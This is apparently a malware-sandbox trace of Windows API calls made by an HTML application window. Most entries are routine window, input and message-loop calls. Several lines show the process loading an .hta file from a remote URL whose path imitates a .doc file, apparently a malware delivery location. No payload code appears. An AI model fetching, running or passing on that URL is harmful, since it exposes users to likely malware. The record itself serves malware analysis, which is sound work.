[0045.971] ISystemDebugEventFire:IsActive (This=0x7f93c8) returned 0x1 [0045.971] GetCurrentThreadId () returned 0x9c4 [0045.971] GetCurrentThreadId () returned 0x9c4 [0045.971] GetCurrentThreadId () returned 0x9c4 [0045.971] GetCurrentThreadId () returned 0x9c4 [0045.971] GetCurrentThreadId () returned 0x9c4 [0045.971] ISystemDebugEventFire:IsActive (This=0x7f9218) returned 0x1 [0045.972] GetCurrentThreadId () returned 0x9c4 [0045.972] GetCurrentThreadId () returned 0x9c4 [0045.972] GetCurrentThreadId () returned 0x9c4 [0046.038] EnumFontsW (hdc=0x9010910, lpLogfont="Times New Roman", lpProc=0x6f7f0b47, lParam=0x3bc414) returned 1 [0046.040] GetOutlineTextMetricsW (in: hdc=0x9010910, cjCopy=0xd8, potm=0x3bc218 | out: potm=0x3bc218) returned 0xd8 [0046.040] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x270a0922 [0046.040] SelectObject (hdc=0x9010910, h=0x270a0922) returned 0x18a002e [0046.040] GetTextFaceW (in: hdc=0x9010910, c=32, lpName=0x3bc468 | out: lpName="Times New Roman") returned 16 [0046.040] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x270a0922 [0046.040] SelectObject (hdc=0x9010910, h=0x270a0922) returned 0x18a002e [0046.040] GetTextCharsetInfo (in: hdc=0x9010910, lpSig=0x3bc3d0, dwFlags=0x0 | out: lpSig=0x3bc3d0) returned 0 [0046.040] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x270a0922 [0046.040] GetFontUnicodeRanges (in: hdc=0x9010910, lpgs=0x0 | out: lpgs=0x0) returned 0x27c [0046.040] GetFontUnicodeRanges (in: hdc=0x9010910, lpgs=0x81e3d0 | out: lpgs=0x81e3d0) returned 0x27c [0046.040] SelectObject (hdc=0x9010910, h=0x18a002e) returned 0x270a0922 [0046.041] GetCharWidth32W (in: hdc=0x9010910, iFirst=0x20, iLast=0x7e, lpBuffer=0x3bc3a8 | out: lpBuffer=0x3bc3a8) returned 1 [0046.045] GetCurrentThreadId () returned 0x9c4 [0046.045] GetCurrentThreadId () returned 0x9c4 [0046.045] GetCurrentThreadId () returned 0x9c4 [0046.045] GetFocus () returned 0x0 [0046.045] EnumChildWindows (hWndParent=0x30228, lpEnumFunc=0x6f9c0a73, lParam=0x3bf22c) returned 0 [0046.045] GetCursorPos (in: lpPoint=0x3bf208 | out: lpPoint=0x3bf208*(x=793, y=284)) returned 1 [0046.049] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf208 | out: lpPoint=0x3bf208) returned 1 [0046.052] GetKeyState (nVirtKey=16) returned 0 [0046.052] GetKeyState (nVirtKey=17) returned 0 [0046.052] GetKeyState (nVirtKey=18) returned 0 [0046.052] GetKeyState (nVirtKey=160) returned 0 [0046.052] GetKeyState (nVirtKey=162) returned 0 [0046.052] GetKeyState (nVirtKey=164) returned 0 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCurrentThreadId () returned 0x9c4 [0046.053] GetCursorPos (in: lpPoint=0x3bf208 | out: lpPoint=0x3bf208*(x=793, y=284)) returned 1 [0046.054] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf208 | out: lpPoint=0x3bf208) returned 1 [0046.054] GetKeyState (nVirtKey=16) returned 0 [0046.054] GetKeyState (nVirtKey=17) returned 0 [0046.054] GetKeyState (nVirtKey=18) returned 0 [0046.054] GetKeyState (nVirtKey=160) returned 0 [0046.054] GetKeyState (nVirtKey=162) returned 0 [0046.054] GetKeyState (nVirtKey=164) returned 0 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] GetCursorPos (in: lpPoint=0x3bf208 | out: lpPoint=0x3bf208*(x=793, y=284)) returned 1 [0046.054] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf208 | out: lpPoint=0x3bf208) returned 1 [0046.054] GetKeyState (nVirtKey=16) returned 0 [0046.054] GetKeyState (nVirtKey=17) returned 0 [0046.054] GetKeyState (nVirtKey=18) returned 0 [0046.054] GetKeyState (nVirtKey=160) returned 0 [0046.054] GetKeyState (nVirtKey=162) returned 0 [0046.054] GetKeyState (nVirtKey=164) returned 0 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] GetCurrentThreadId () returned 0x9c4 [0046.054] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3bf558 | out: ppu=0x3bf558) returned 0x0 [0046.054] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0046.055] IUri:GetAbsoluteUri (in: This=0x7ac484, pbstrAbsoluteUri=0x3bf5d8 | out: pbstrAbsoluteUri=0x3bf5d8*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0046.055] IUnknown:Release (This=0x7ac484) returned 0x12 [0046.055] ShouldShowIntranetWarningSecband () returned 0x0 [0046.082] GetIUriPriv () returned 0x0 [0046.082] IUnknown:Release (This=0x7ac484) returned 0x12 [0046.082] GetCursorPos (in: lpPoint=0x3bf3d0 | out: lpPoint=0x3bf3d0*(x=793, y=284)) returned 1 [0046.082] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf3d0 | out: lpPoint=0x3bf3d0) returned 1 [0046.082] GetKeyState (nVirtKey=16) returned 0 [0046.082] GetKeyState (nVirtKey=17) returned 0 [0046.082] GetKeyState (nVirtKey=18) returned 0 [0046.082] GetKeyState (nVirtKey=160) returned 0 [0046.082] GetKeyState (nVirtKey=162) returned 0 [0046.082] GetKeyState (nVirtKey=164) returned 0 [0046.082] GetCurrentThreadId () returned 0x9c4 [0046.082] GetCurrentThreadId () returned 0x9c4 [0046.082] GetCurrentThreadId () returned 0x9c4 [0046.082] GetFocus () returned 0x0 [0046.082] EnumChildWindows (hWndParent=0x30228, lpEnumFunc=0x6f9c0a73, lParam=0x3bf51c) returned 0 [0046.083] IUnknown:Release (This=0x7ac484) returned 0x11 [0046.083] IUnknown:Release (This=0x7b75b0) returned 0x3 [0046.083] IUnknown:Release (This=0x7ac484) returned 0x10 [0046.083] IUnknown:Release (This=0x7ac484) returned 0xf [0046.083] IUnknown:Release (This=0x7b75b0) returned 0x2 [0046.083] IUnknown:Release (This=0x7ac484) returned 0xe [0046.083] IUnknown:Release (This=0x7ac484) returned 0xd [0046.083] IUnknown:Release (This=0x7ac484) returned 0xc [0046.084] IUnknown:Release (This=0x7ac484) returned 0xb [0046.084] IUnknown:Release (This=0x7c9bd0) returned 0x1 [0046.084] IUnknown:Release (This=0x7c9bd0) returned 0x0 [0046.084] IUnknown:Release (This=0x7ac484) returned 0x8 [0046.084] IUnknown:Release (This=0x7ac484) returned 0x7 [0046.084] IUnknown:Release (This=0x7ac484) returned 0x6 [0046.084] GetCurrentThreadId () returned 0x9c4 [0046.084] GetCurrentThreadId () returned 0x9c4 [0046.084] GetFocus () returned 0x0 [0046.084] EnumChildWindows (hWndParent=0x30228, lpEnumFunc=0x6f9c0a73, lParam=0x3bf454) returned 0 [0046.084] GetCurrentThreadId () returned 0x9c4 [0046.084] LoadStringW (in: hInstance=0x6ec20000, uID=0x1fe9, lpBuffer=0x3bf1c8, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4 [0046.116] IUnknown:AddRef (This=0x7ac484) returned 0x7 [0046.116] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x3be654 | out: pdwScheme=0x3be654*=0x2) returned 0x0 [0046.116] IUri:GetDisplayUri (in: This=0x7ac484, pbstrDisplayString=0x3be660 | out: pbstrDisplayString=0x3be660*="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0x0 [0046.116] GetWindowTextW (in: hWnd=0x30224, lpString=0x3be200, nMaxCount=512 | out: lpString="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 48 [0046.116] NtdllDefWindowProc_W () returned 0x30 [0046.116] IUnknown:Release (This=0x7ac484) returned 0x6 [0046.116] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0046.116] SendMessageW (hWnd=0x401f2, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0046.116] NtdllDefWindowProc_W () returned 0x0 [0046.116] NtdllDefWindowProc_W () returned 0x0 [0046.117] NtdllDefWindowProc_W () returned 0x0 [0046.117] SendMessageW (hWnd=0x30224, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0046.117] NtdllDefWindowProc_W () returned 0x0 [0046.117] SetWindowLongW (hWnd=0x30224, nIndex=-16, dwNewLong=-2100363264) returned -2033254400 [0046.117] NtdllDefWindowProc_W () returned 0x0 [0046.117] NtdllDefWindowProc_W () returned 0x0 [0046.117] NtdllDefWindowProc_W () returned 0x10027 [0046.117] SetWindowLongW (hWnd=0x30224, nIndex=-20, dwNewLong=262144) returned 262400 [0046.118] NtdllDefWindowProc_W () returned 0x0 [0046.118] NtdllDefWindowProc_W () returned 0x0 [0046.118] SetWindowPos (hWnd=0x30224, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0046.118] NtdllDefWindowProc_W () returned 0x0 [0046.118] NtdllDefWindowProc_W () returned 0x0 [0046.119] NtdllDefWindowProc_W () returned 0x0 [0046.119] GlobalAddAtomW (lpString=0x0) returned 0x0 [0046.119] SetPropW (hWnd=0x401f2, lpString=0x0, hData=0x401f2) returned 0 [0046.120] ShowWindow (hWnd=0x30224, nCmdShow=7) returned 0 [0046.120] NtdllDefWindowProc_W () returned 0x0 [0046.120] NtdllDefWindowProc_W () returned 0x0 [0046.120] NtdllDefWindowProc_W () returned 0x0 [0046.123] NtdllDefWindowProc_W () returned 0x0 [0046.123] NtdllDefWindowProc_W () returned 0x0 [0046.123] GetClientRect (in: hWnd=0x30224, lpRect=0x3bec98 | out: lpRect=0x3bec98) returned 1 [0046.124] GetClientRect (in: hWnd=0x30224, lpRect=0x3bec98 | out: lpRect=0x3bec98) returned 1 [0046.124] CopyRect (in: lprcDst=0x792df4, lprcSrc=0x3bec98 | out: lprcDst=0x792df4) returned 1 [0046.124] OffsetRect (in: lprc=0x792df4, dx=0, dy=0 | out: lprc=0x792df4) returned 1 [0046.124] CopyRect (in: lprcDst=0x792e04, lprcSrc=0x3bec98 | out: lprcDst=0x792e04) returned 1 [0046.124] OffsetRect (in: lprc=0x792e04, dx=0, dy=0 | out: lprc=0x792e04) returned 1 [0046.124] CopyRect (in: lprcDst=0x3bebd0, lprcSrc=0x3bec98 | out: lprcDst=0x3bebd0) returned 1 [0046.124] IntersectRect (in: lprcDst=0x3bebc0, lprcSrc1=0x3bebd0, lprcSrc2=0x3bec98 | out: lprcDst=0x3bebc0) returned 0 [0046.124] EqualRect (lprc1=0x3bebc0, lprc2=0x3bebd0) returned 1 [0046.124] CreateRectRgnIndirect (lprect=0x6f857be0) returned 0x8040916 [0046.124] GetUpdateRgn (hWnd=0x30228, hRgn=0x8040916, bErase=0) returned 1 [0046.124] DeleteObject (ho=0x8040916) returned 1 [0046.124] SetWindowPos (hWnd=0x30228, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x14) returned 1 [0046.124] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.124] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x46, wParam=0x0, lParam=0x3beb64*=197160, plResult=0x3bea00 | out: plResult=0x3bea00) returned 0x1 [0046.125] NtdllDefWindowProc_W () returned 0x0 [0046.125] GetCurrentThreadId () returned 0x9c4 [0046.125] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.125] GetCurrentThreadId () returned 0x9c4 [0046.126] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.126] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x47, wParam=0x0, lParam=0x3beb64*=197160, plResult=0x3be9fc | out: plResult=0x3be9fc) returned 0x1 [0046.126] NtdllDefWindowProc_W () returned 0x0 [0046.126] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.126] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x5, wParam=0x0, lParam=0x0, plResult=0x3be638 | out: plResult=0x3be638) returned 0x1 [0046.126] NtdllDefWindowProc_W () returned 0x0 [0046.126] GetCurrentThreadId () returned 0x9c4 [0046.126] GetCurrentThreadId () returned 0x9c4 [0046.126] GetCurrentThreadId () returned 0x9c4 [0046.126] RedrawWindow (hWnd=0x30228, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x21) returned 1 [0046.127] NtdllDefWindowProc_W () returned 0x0 [0046.128] UpdateWindow (hWnd=0x30224) returned 1 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.128] GetCurrentThreadId () returned 0x9c4 [0046.129] GetCurrentThreadId () returned 0x9c4 [0046.129] GetCursorPos (in: lpPoint=0x3bef50 | out: lpPoint=0x3bef50*(x=793, y=284)) returned 1 [0046.129] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bef50 | out: lpPoint=0x3bef50) returned 1 [0046.129] GetKeyState (nVirtKey=16) returned 0 [0046.129] GetKeyState (nVirtKey=17) returned 0 [0046.129] GetKeyState (nVirtKey=18) returned 0 [0046.129] GetKeyState (nVirtKey=160) returned 0 [0046.129] GetKeyState (nVirtKey=162) returned 0 [0046.129] GetKeyState (nVirtKey=164) returned 0 [0046.129] GetCurrentThreadId () returned 0x9c4 [0046.129] GetCurrentThreadId () returned 0x9c4 [0046.129] IsWinEventHookInstalled (event=0x8005) returned 0 [0046.129] StrCmpICW (pszStr1="about:blank", pszStr2="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned -7 [0046.129] StrCmpICW (pszStr1="about:blank", pszStr2="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned -7 [0046.129] GetCurrentThreadId () returned 0x9c4 [0046.129] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0046.129] NtdllDefWindowProc_W () returned 0x10027 [0046.130] NtdllDefWindowProc_W () returned 0x40189 [0046.130] NtdllDefWindowProc_W () returned 0x0 [0046.130] TranslateMessage (lpMsg=0x3bf764) returned 0 [0046.130] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0046.130] NtdllDefWindowProc_W () returned 0x0 [0046.130] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0046.130] TranslateMessage (lpMsg=0x3bf764) returned 0 [0046.130] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0046.130] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.130] SetTimer (hWnd=0x30228, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0046.130] GetCurrentThreadId () returned 0x9c4 [0046.130] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0046.233] TranslateMessage (lpMsg=0x3bf764) returned 0 [0046.233] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0046.233] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0046.233] KillTimer (hWnd=0x30228, uIDEvent=0x1008) returned 1 [0046.233] GetCurrentThreadId () returned 0x9c4 [0046.233] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0079.882] NtdllDefWindowProc_W () returned 0x0 [0079.883] NtdllDefWindowProc_W () returned 0x0 [0079.883] NtdllDefWindowProc_W () returned 0x0 [0079.884] NtdllDefWindowProc_W () returned 0x0 [0079.884] NtdllDefWindowProc_W () returned 0x0 [0079.884] NtdllDefWindowProc_W () returned 0x0 [0079.884] NtdllDefWindowProc_W () returned 0x0 [0079.937] GetFocus () returned 0x0 [0079.937] SetFocus (hWnd=0x30228) returned 0x0 [0079.961] GetCurrentThreadId () returned 0x9c4 [0079.961] GetCurrentThreadId () returned 0x9c4 [0079.961] GetCurrentThreadId () returned 0x9c4 [0079.962] GetCurrentThreadId () returned 0x9c4 [0079.962] GetCurrentThreadId () returned 0x9c4 [0079.963] GetCurrentThreadId () returned 0x9c4 [0090.850] GetCurrentThreadId () returned 0x9c4 [0090.850] GetCurrentThreadId () returned 0x9c4 [0090.850] GetCurrentThreadId () returned 0x9c4 [0090.861] GetCurrentThreadId () returned 0x9c4 [0090.861] GetCurrentThreadId () returned 0x9c4 [0090.861] GetCurrentThreadId () returned 0x9c4 [0096.102] GetCurrentThreadId () returned 0x9c4 [0096.102] GetCurrentThreadId () returned 0x9c4 [0096.102] GetCurrentThreadId () returned 0x9c4 [0096.114] GetCurrentThreadId () returned 0x9c4 [0096.114] GetCurrentThreadId () returned 0x9c4 [0096.114] GetCurrentThreadId () returned 0x9c4 [0096.122] CopyAcceleratorTableW (in: hAccelSrc=0x402a7, lpAccelDst=0x0, cAccelEntries=0 | out: lpAccelDst=0x0) returned 13 [0096.122] CopyAcceleratorTableW (in: hAccelSrc=0x402a7, lpAccelDst=0x7bf1a0, cAccelEntries=13 | out: lpAccelDst=0x7bf1a0) returned 13 [0096.122] LoadAcceleratorsW (hInstance=0x6ec20000, lpTableName=0x30) returned 0x40107 [0096.122] CopyAcceleratorTableW (in: hAccelSrc=0x40107, lpAccelDst=0x0, cAccelEntries=0 | out: lpAccelDst=0x0) returned 2 [0096.122] CopyAcceleratorTableW (in: hAccelSrc=0x40107, lpAccelDst=0x83de98, cAccelEntries=2 | out: lpAccelDst=0x83de98) returned 2 [0096.122] GetKeyState (nVirtKey=1) returned 0 [0096.123] GetKeyState (nVirtKey=2) returned 0 [0096.123] GetKeyState (nVirtKey=16) returned 0 [0096.123] GetKeyState (nVirtKey=17) returned 0 [0096.123] GetKeyState (nVirtKey=4) returned 0 [0096.123] GetKeyState (nVirtKey=18) returned -127 [0096.123] GetKeyState (nVirtKey=17) returned 0 [0096.123] GetAsyncKeyState (vKey=17) returned 0 [0096.123] GetKeyState (nVirtKey=16) returned 0 [0096.123] GetAsyncKeyState (vKey=16) returned 0 [0096.123] GetKeyState (nVirtKey=18) returned -127 [0096.132] SendMessageW (hWnd=0x30228, Msg=0x127, wParam=0x30002, lParam=0x0) returned 0x0 [0096.132] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.132] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x127, wParam=0x30002, lParam=0x0, plResult=0x3bf498 | out: plResult=0x3bf498) returned 0x1 [0096.132] NtdllDefWindowProc_W () returned 0x0 [0096.132] NtdllDefWindowProc_W () returned 0x0 [0096.132] NtdllDefWindowProc_W () returned 0x0 [0096.133] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.133] NtdllDefWindowProc_W () returned 0x0 [0096.133] GetCurrentThreadId () returned 0x9c4 [0096.133] GetCurrentThreadId () returned 0x9c4 [0096.133] GetCursorPos (in: lpPoint=0x3bf3f0 | out: lpPoint=0x3bf3f0*(x=801, y=498)) returned 1 [0096.133] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf3f0 | out: lpPoint=0x3bf3f0) returned 1 [0096.133] GetKeyState (nVirtKey=16) returned 0 [0096.133] GetKeyState (nVirtKey=17) returned 0 [0096.133] GetKeyState (nVirtKey=18) returned -127 [0096.133] GetKeyState (nVirtKey=160) returned 0 [0096.133] GetKeyState (nVirtKey=162) returned 0 [0096.133] GetKeyState (nVirtKey=164) returned -127 [0096.133] GetCurrentThreadId () returned 0x9c4 [0096.134] GetCurrentThreadId () returned 0x9c4 [0096.134] GetCurrentThreadId () returned 0x9c4 [0096.134] CopyAcceleratorTableW (in: hAccelSrc=0x40107, lpAccelDst=0x0, cAccelEntries=0 | out: lpAccelDst=0x0) returned 2 [0096.134] CopyAcceleratorTableW (in: hAccelSrc=0x40107, lpAccelDst=0x83deb0, cAccelEntries=2 | out: lpAccelDst=0x83deb0) returned 2 [0096.134] TranslateMessage (lpMsg=0x3bf764) returned 1 [0096.134] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0096.134] NtdllDefWindowProc_W () returned 0x0 [0096.134] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0096.134] GetCurrentThreadId () returned 0x9c4 [0096.134] GetCurrentThreadId () returned 0x9c4 [0096.134] GetCurrentThreadId () returned 0x9c4 [0096.146] MapVirtualKeyExW (uCode=0x20, uMapType=0x0, dwhkl=0x4090409) returned 0x39 [0096.146] ToAsciiEx (in: uVirtKey=0x20, uScanCode=0x39, lpKeyState=0x3bf2b0, lpChar=0x3bf2ac, uFlags=0x1, dwhkl=0x4090409 | out: lpChar=0x3bf2ac) returned 1 [0096.147] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0096.147] CActiveIMMAppEx_Trident:IActiveIMMApp:GetCodePageA (in: This=0x7da828, hKL=0x4090409, uCodePage=0x3bf298 | out: uCodePage=0x3bf298*=0x4e4) returned 0x0 [0096.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3bf2ac, cbMultiByte=2, lpWideCharStr=0x3bf2a8, cchWideChar=2 | out: lpWideCharStr=" ") returned 2 [0096.154] MapVirtualKeyExW (uCode=0x20, uMapType=0x0, dwhkl=0x4090409) returned 0x39 [0096.154] ToAsciiEx (in: uVirtKey=0x20, uScanCode=0x39, lpKeyState=0x3bf2b0, lpChar=0x3bf2ac, uFlags=0x1, dwhkl=0x4090409 | out: lpChar=0x3bf2ac) returned 1 [0096.154] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0096.154] CActiveIMMAppEx_Trident:IActiveIMMApp:GetCodePageA (in: This=0x7da828, hKL=0x4090409, uCodePage=0x3bf298 | out: uCodePage=0x3bf298*=0x4e4) returned 0x0 [0096.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3bf2ac, cbMultiByte=2, lpWideCharStr=0x3bf2a8, cchWideChar=2 | out: lpWideCharStr=" ") returned 2 [0096.154] TranslateMessage (lpMsg=0x3bf764) returned 1 [0096.154] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0096.154] NtdllDefWindowProc_W () returned 0x0 [0096.154] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0096.690] NtdllDefWindowProc_W () returned 0x0 [0096.690] NtdllDefWindowProc_W () returned 0x0 [0096.690] NtdllDefWindowProc_W () returned 0x0 [0096.690] NtdllDefWindowProc_W () returned 0x0 [0096.691] NtdllDefWindowProc_W () returned 0x0 [0096.691] NtdllDefWindowProc_W () returned 0x0 [0096.696] NtdllDefWindowProc_W () returned 0x0 [0096.699] NtdllDefWindowProc_W () returned 0x0 [0096.699] NtdllDefWindowProc_W () returned 0x0 [0096.699] NtdllDefWindowProc_W () returned 0x0 [0096.699] NtdllDefWindowProc_W () returned 0x0 [0096.699] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0096.700] TranslateMessage (lpMsg=0x3bf764) returned 0 [0096.700] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0096.700] NtdllDefWindowProc_W () [0096.700] NtdllDefWindowProc_W () returned 0x1 [0096.701] NtdllDefWindowProc_W () returned 0x30 [0096.967] NtdllDefWindowProc_W () returned 0x0 [0096.967] NtdllDefWindowProc_W () returned 0x0 [0096.967] NtdllDefWindowProc_W () returned 0x0 [0096.967] NtdllDefWindowProc_W () returned 0x0 [0096.967] NtdllDefWindowProc_W () returned 0x0 [0096.969] NtdllDefWindowProc_W () returned 0x1 [0096.969] NtdllDefWindowProc_W () returned 0x0 [0096.969] NtdllDefWindowProc_W () returned 0x0 [0096.969] GetClientRect (in: hWnd=0x30224, lpRect=0x3bf098 | out: lpRect=0x3bf098) returned 1 [0096.969] GetClientRect (in: hWnd=0x30224, lpRect=0x3bf098 | out: lpRect=0x3bf098) returned 1 [0096.969] CopyRect (in: lprcDst=0x792df4, lprcSrc=0x3bf098 | out: lprcDst=0x792df4) returned 1 [0096.969] OffsetRect (in: lprc=0x792df4, dx=0, dy=0 | out: lprc=0x792df4) returned 1 [0096.969] CopyRect (in: lprcDst=0x792e04, lprcSrc=0x3bf098 | out: lprcDst=0x792e04) returned 1 [0096.969] OffsetRect (in: lprc=0x792e04, dx=0, dy=0 | out: lprc=0x792e04) returned 1 [0096.969] CopyRect (in: lprcDst=0x3befd0, lprcSrc=0x3bf098 | out: lprcDst=0x3befd0) returned 1 [0096.969] IntersectRect (in: lprcDst=0x3befc0, lprcSrc1=0x3befd0, lprcSrc2=0x3bf098 | out: lprcDst=0x3befc0) returned 1 [0096.969] EqualRect (lprc1=0x3befc0, lprc2=0x3befd0) returned 1 [0096.969] CreateRectRgnIndirect (lprect=0x6f857be0) returned 0x2504090c [0096.969] GetUpdateRgn (hWnd=0x30228, hRgn=0x2504090c, bErase=0) returned 1 [0096.969] DeleteObject (ho=0x2504090c) returned 1 [0096.969] SetWindowPos (hWnd=0x30228, hWndInsertAfter=0x0, X=0, Y=0, cx=1064, cy=587, uFlags=0x14) returned 1 [0096.969] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.969] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x46, wParam=0x0, lParam=0x3bef64*=197160, plResult=0x3bee00 | out: plResult=0x3bee00) returned 0x1 [0096.969] NtdllDefWindowProc_W () returned 0x0 [0096.969] GetCurrentThreadId () returned 0x9c4 [0096.969] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.969] GetCurrentThreadId () returned 0x9c4 [0096.969] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.969] GetCurrentThreadId () returned 0x9c4 [0096.969] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.969] WindowFromDC (hDC=0x2101078f) returned 0x30228 [0096.969] GetCurrentThreadId () returned 0x9c4 [0096.970] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.970] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x47, wParam=0x0, lParam=0x3bef64*=197160, plResult=0x3bedfc | out: plResult=0x3bedfc) returned 0x1 [0096.970] NtdllDefWindowProc_W () returned 0x0 [0096.970] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.970] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x7da828, hWnd=0x30228, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x3bea38 | out: plResult=0x3bea38) returned 0x1 [0096.970] NtdllDefWindowProc_W () returned 0x0 [0096.970] GetCurrentThreadId () returned 0x9c4 [0096.970] GetCurrentThreadId () returned 0x9c4 [0096.970] GetCurrentThreadId () returned 0x9c4 [0096.970] NtdllDefWindowProc_W () returned 0x0 [0096.970] NtdllDefWindowProc_W () returned 0x0 [0096.971] NtdllDefWindowProc_W () returned 0x1 [0096.972] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.972] GetCurrentThreadId () returned 0x9c4 [0096.972] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0096.972] WindowFromDC (hDC=0xf010972) returned 0x30228 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetCursorPos (in: lpPoint=0x3bf430 | out: lpPoint=0x3bf430*(x=801, y=498)) returned 1 [0096.974] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf430 | out: lpPoint=0x3bf430) returned 1 [0096.974] GetKeyState (nVirtKey=16) returned 0 [0096.974] GetKeyState (nVirtKey=17) returned 0 [0096.974] GetKeyState (nVirtKey=18) returned 1 [0096.974] GetKeyState (nVirtKey=160) returned 0 [0096.974] GetKeyState (nVirtKey=162) returned 0 [0096.974] GetKeyState (nVirtKey=164) returned 1 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] IsWinEventHookInstalled (event=0x8005) returned 0 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetFocus () returned 0x30228 [0096.974] GetCurrentThreadId () returned 0x9c4 [0096.974] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0096.974] 